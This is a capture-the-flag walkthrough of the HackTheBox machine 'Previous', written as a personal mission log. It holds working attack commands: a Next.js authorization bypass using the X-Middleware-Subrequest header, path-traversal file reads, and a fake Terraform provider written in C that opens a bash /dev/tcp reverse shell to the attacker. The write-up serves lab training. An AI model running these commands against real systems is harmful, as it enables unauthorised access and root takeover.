TARGET OS: LINUX | AUTHOR: LEANDROS
Previous is a highly modern, Medium-rated Linux machine on HackTheBox that tests your ability to exploit cutting-edge web frameworks and infrastructure-as-code tools. The intrusion began by identifying an instance of Next.js vulnerable to a recent Authorization Bypass (CVE-2025-29927). Using this bypass, I fuzz-tested the API to uncover a Local File Inclusion (LFI) vulnerability. By carefully reading the compiled Next.js server files via LFI, I extracted hardcoded credentials to secure SSH access. Finally, I escalated to root by hijacking a Terraform provider via development overrides. Here is my complete mission log.
I initiated the engagement with an Nmap TCP port scan to map the target.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,80 <IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
The Nmap scan revealed that port 80 redirects to a domain named previous.htb. I quickly added this to my /etc/hosts file and navigated to the site.
The landing page appeared to be a standard website. Digging into the footer, I found a contact email: jeremy@previous.htb, giving me a potential username for later. Next, I ran the Wappalyzer browser extension to analyze the technology stack.
Wappalyzer identified that the site was built using Next.js version 15.2.2. This is a critical piece of intelligence because this specific version is vulnerable to CVE-2025-29927, an Authorization Bypass vulnerability.
In certain Next.js setups, passing a specific header (X-Middleware-Subrequest: middleware:middleware:middleware...) tricks the routing engine into believing the request is an internal sub-request generated by the middleware itself. This effectively bypasses authentication and authorization checks protecting API endpoints.
I pulled down a Proof of Concept (PoC) script by UNICORDev and targeted the /api endpoint to confirm the vulnerability. The script successfully bypassed the authorization check and confirmed the header injection worked.
Since I could now bypass authentication on API endpoints, I wrote a quick Bash script to fuzz for common API routes (like /api/users, /api/upload, etc.) while passing the malicious header.
ENDPOINTS=("users" "admin" "config" "settings" "database" "files" "upload" "download" "auth" "session")
for endpoint in "${ENDPOINTS[@]}"; do
echo "Testing: /api/$endpoint"
curl -s -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" "http://previous.htb/api/$endpoint" | head -20
done
The script hit paydirt on /api/download, which returned an error stating {"error":"Invalid filename"}. It was expecting a file parameter! I fired up ffuf to fuzz for the parameter name while continuing to pass the auth bypass header.
ffuf -u 'http://previous.htb/api/download?FUZZ=../../../../../../etc/passwd' \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-w /usr/share/wordlists/dirb/big.txt
FFUF quickly identified that the parameter was named example. I issued a manual curl request to verify the Local File Inclusion (LFI).
curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
"http://previous.htb/api/download?example=../../../../../../etc/passwd"
The server responded with the /etc/passwd file. I had successfully chained an Auth Bypass into an Arbitrary File Read.
With LFI achieved, my goal was to extract the source code of the Next.js application to find credentials. I traversed backward a few directories and read ../../package.json, confirming the web app was running from the local directory.
Next.js applications compile their code into a hidden .next/ directory. Using the LFI, I downloaded the .next/server/pages-manifest.json file, which maps API routes to their compiled JavaScript files on the server.
{
"/_app": "pages/_app.js",
"/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
"/api/download": "pages/api/download.js",
"/signin": "pages/signin.html"
}
The [...nextauth].js file handles authentication. I used the LFI to download it, analyzing the compiled, minified JavaScript code.
curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
'http://previous.htb/api/download?example=../../.next/server/pages/api/auth/\[...nextauth\].js'
Buried inside the obfuscated code, I found hardcoded credentials in the authorize function:
authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")
I tested the password MyNameIsJeremyAndILovePancakes via SSH for the user jeremy. It worked perfectly. I bypassed the web layer entirely and secured my foothold, capturing the user.txt flag.
Once on the machine, I checked my sudo privileges using sudo -l.
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir=/opt/examples apply
I could run Terraform with elevated privileges. Terraform is an Infrastructure-as-Code tool that uses "providers" (plugins) to interact with APIs (like AWS, Docker, etc.).
Terraform has a feature called dev_overrides, designed for plugin developers. It allows you to configure a local .terraformrc file instructing Terraform to ignore the official plugin registry and instead load a custom, locally compiled binary whenever it runs an apply.
Because we can run Terraform as root, we can write a malicious C program that spawns a root shell, name it like a provider, and force Terraform to execute it.
I created a malicious C file that spawns a reverse shell back to my attacker machine and compiled it, mimicking a Terraform provider binary name.
cat > /tmp/malprov/malicious.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main() {
system("bash -c 'bash -i >& /dev/tcp/<IP_ATTACKER>/<PORT> 0>&1'");
return 0;
}
EOF
gcc -o /tmp/malprov/terraform-provider-examples_v1.0.0 /tmp/malprov/malicious.c
Next, I created the .terraformrc configuration file to define the dev_overrides and point it to the directory containing my malicious binary.
cat > /home/jeremy/.terraformrc << 'EOF'
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp/malprov"
}
direct {}
}
EOF
I started my Netcat listener. To execute the exploit, I ran the allowed sudo terraform command while passing an environment variable (TF_CLI_CONFIG_FILE) forcing Terraform to use my custom configuration file instead of the system default.
TF_CLI_CONFIG_FILE=/home/jeremy/.terraformrc \
sudo /usr/bin/terraform -chdir=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /tmp/malprov
╵
# On Attacker Machine:
listening on [any] 7777 ...
connect to [10.10.14.98] from (UNKNOWN) [10.10.11.83] 56516
root@previous:/opt/examples# whoami
root
Terraform loaded my malicious provider, executing my reverse shell as root! I claimed the root.txt flag. System Compromised.